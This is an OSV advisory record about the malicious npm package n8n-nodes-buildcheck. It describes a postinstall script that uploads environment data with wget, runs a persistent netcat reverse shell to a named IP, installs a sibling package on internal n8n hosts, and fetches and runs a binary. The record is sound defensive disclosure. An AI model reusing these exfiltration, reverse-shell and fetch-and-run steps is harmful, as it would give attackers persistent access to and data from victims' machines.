{"id":"MAL-2026-16177","revision":"4b3ff7df5d554cefaf4c6c4bba8decaf","records":[{"revision":"4b3ff7df5d554cefaf4c6c4bba8decaf","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-16177","aliases":[],"title":"Malicious code in n8n-nodes-buildcheck (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (65dcf471b1b0c1765b92cab4922777dd8486ad14cc17bcd9475996585c75eebc)\nOn npm install, postinstall.js collects the full environment, `id`, `hostname`, and `/proc/1/cgroup`/`status` into `/tmp/.be` and uploads it via `wget --post-file` to http://121.127.33.228:8443/env2. The same postinstall spawns a detached loop that repeatedly runs `nc 121.127.33.228 443 -e /bin/sh` with a 7-second reconnect interval, giving the remote party a persistent unauthenticated shell on the installer's host. It also attempts to authenticate to an internal n8n instance at http://10.0.3.2:5678 using a hardcoded credential and invokes `/rest/nodes/community/install` with `verify:false` to install a sibling package `n8n-nodes-sysdiag2`, extending compromise to adjacent n8n hosts. When n8n loads the community node, dist/SysDiag.node.js wgets an opaque binary from http://121.127.33.228:8444/mn8n2 into `/tmp/.mn2`, chmods it executable, and launches it detached.\n","state":0,"publishedAt":"2026-09-15T15:53:20+00:00","modifiedAt":"2026-09-15T16:31:25.2430201+00:00","affected":[{"ecosystem":"npm","name":"n8n-nodes-buildcheck","ranges":[],"versions":["1.0.0"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/n8n-nodes-buildcheck/v/1.0.0"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-16177","license":"OSV · upstream source license applies","key":"osv:MAL-2026-16177","identifiers":["MAL-2026-16177"]},"retained":false,"historicalAffected":[]}],"coverage":[]}